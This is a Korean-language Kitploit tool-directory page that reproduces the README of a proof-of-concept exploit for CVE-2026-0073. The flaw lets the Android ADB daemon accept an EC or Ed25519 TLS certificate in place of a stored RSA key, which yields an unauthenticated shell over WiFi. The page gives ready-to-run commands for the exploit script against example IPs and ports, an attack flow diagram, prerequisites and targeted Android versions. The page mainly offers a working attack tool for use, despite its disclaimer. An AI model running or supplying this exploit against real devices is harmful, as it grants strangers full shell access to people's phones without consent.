Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0073-Android-ADBD-bypass-POC — CVE-2026-0073 — Android ADB 데몬(adbd)의 EVP_PKEY_cmp 타입 혼동을 통한 TLS 인증 우회. EC/Ed25519 키 불일치를 이용해 WiFi를 통해 인증되지 않은 셸 접근 권한 획득. Android 14+용 PoC 익스플로잇. | Kitploit
도구/GitHubGitHub/martinpsdev/cve-2026-0073-android-adbd-bypass-poc
Android SecurityVulnerability AnalysisExploitationPenetration TestingMobile SecurityRed Teaming
GitHubmartinpsdev/cve-2026-0073-android-adbd-bypass-poc

CVE-2026-0073-Android-ADBD-bypass-POC

CVE-2026-0073 — Android ADB 데몬(adbd)의 EVP_PKEY_cmp 타입 혼동을 통한 TLS 인증 우회. EC/Ed25519 키 불일치를 이용해 WiFi를 통해 인증되지 않은 셸 접근 권한 획득. Android 14+용 PoC 익스플로잇.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
2263개월 전Kitploit 검토 완료

CVE-2026-0073 — Android ADBD TLS 인증 우회

EVP_PKEY_cmp() 타입 혼동 → 인증되지 않은 ADB 셸

Python 3.10+ CVE-2026-0073 Android License


🔥 개요

Android ADB 데몬(adbd)의 치명적인 인증 우회 취약점으로, 로컬 네트워크의 모든 공격자가 사용자 승인 없이 대상 기기에서 전체 셸을 획득할 수 있습니다.

이 취약점은 daemon/auth.cpp의 adbd_tls_verify_cert()에 존재하며, EVP_PKEY_cmp()가 부울 값으로 사용됩니다. 저장된 키가 RSA이고 제시된 TLS 클라이언트 인증서가 비-RSA 키(EC P-256 또는 Ed25519)를 보유한 경우, EVP_PKEY_cmp()는 -1(타입 불일치)을 반환하며, 이는 C/C++에서 **참(true)**으로 평가되므로 authorized = true가 됩니다.

root@kitploit:~
// daemon/auth.cpp의 취약한 코드 패턴
if (EVP_PKEY_cmp(peer_key, stored_key)) {  // ← 버그: -1은 참(true)!
    authorized = true;
}

⚡ 빠른 시작

의존성 설치

root@kitploit:~
pip install cryptography

익스플로잇 실행

root@kitploit:~
# 대화형 셸
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>

# 단일 명령 실행
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# 상세 모드 (전체 프로토콜 추적 확인)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

특정 키 유형 강제 지정

root@kitploit:~
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

기본적으로 스크립트는 EC P-256 → Ed25519 → EC/TLS 1.2 순서로 자동 시도하여 성공할 때까지 진행합니다.


🎯 익스플로잇 흐름

root@kitploit:~
   공격자                          대상 (adbd)
      │                                    │
      │──── TCP 연결 ────────────────────►│
      │──── CNXN (평문) ────────────────►│
      │◄─── STLS (TLS 업그레이드 요청) ──│
      │──── STLS 응답 ──────────────────►│
      │                                    │
      │════ TLS 1.3 핸드셰이크 ═══════════│
      │  (EC P-256 클라이언트 인증서 제시)  │
      │  EVP_PKEY_cmp(EC, RSA) → -1       │
      │  -1은 참 → authorized=true        │
      │════════════════════════════════════│
      │                                    │
      │◄─── CNXN (기기 정보) ────────────│
      │──── OPEN "shell:" ───────────────►│
      │◄─── OKAY ────────────────────────│
      │◄──► WRTE/OKAY (셸 I/O) ─────────►│
      │                                    │
    [전체 셸 액세스]                        │

📋 사전 요구 사항

요구 사항세부 사항
개발자 옵션

⚠️ 중요: RSA 키는 /data/misc/adb/adb_keys에 있어야 하며, 이는 USB 디버깅 페어링("USB 디버깅 허용?" 대화상자 수락)을 통해 채워집니다. 무선 디버깅 페어링(adb pair)은 키를 다른 위치(adb_known_hosts.pb)에 저장하므로 이 요구 사항을 충족하지 않습니다.


🛡️ 영향받는 버전

  • Android 14 (AOSP) — ✅ 취약점 확인됨
  • Android 15 (AOSP) — 취약할 가능성 높음 (패치되지 않은 빌드)
  • 공급업체별 빌드는 다를 수 있음 (Samsung One UI, Pixel 등)

패치 수준 확인 방법

root@kitploit:~
adb shell getprop ro.build.version.security_patch

🧪 테스트 환경

다음 환경에서 테스트 및 작동 확인됨:

root@kitploit:~
Kernel:   6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)

🔧 원본 대비 개선 사항

이 포크에는 여러 가지 개선 사항이 포함되어 있습니다:

  • ✅ 다중 키 폴백 — EC P-256 → Ed25519 → EC/TLS 1.2 자동 시도
  • ✅ Ed25519 지원 — 더 넓은 호환성을 위한 대체 키 유형
  • ✅ TLS 1.2 폴백 — 다른 클라이언트 인증서 흐름 (핸드셰이크 중 vs 핸드셰이크 후 전송)
  • ✅ 향상된 인증서 — 적절한 X.509 확장 (BasicConstraints, KeyUsage)
  • ✅ Windows 호환 — 크로스 플랫폼 지원을 위해 select() 대신 스레드 I/O 사용
  • ✅ 증가된 타임아웃 — 느린 네트워크에서 더 나은 안정성
  • ✅ 상세 진단 — -v 플래그로 상세 프로토콜 추적

📁 프로젝트 구조

root@kitploit:~
CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py    # 메인 익스플로잇 스크립트
└── README.md                 # 이 파일

⚠️ 면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오. 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.


📚 참고 자료

  • CVE-2026-0073 — MITRE
  • Android 보안 게시판
  • OpenSSL EVP_PKEY_cmp 문서
  • ADB 프로토콜 참조

이 도구가 연구에 도움이 되었다면 ⭐을 눌러주세요

도구 다운로드
EVP_PKEY_cmp() 반환값의미C에서 참?결과
1키 일치✅승인됨 (정상)
0키 불일치❌거부됨 (정상)
-1타입 불일치✅승인됨 (버그)
대상 기기에서 활성화
무선 디버깅활성화 (또는 포트 5555에서 TCP를 통한 ADB)
저장된 RSA 키기기가 USB 페어링을 최소 1회 수행해야 함 (/data/misc/adb/adb_keys)
네트워크 액세스공격자가 adbd TCP 포트에 도달 가능해야 함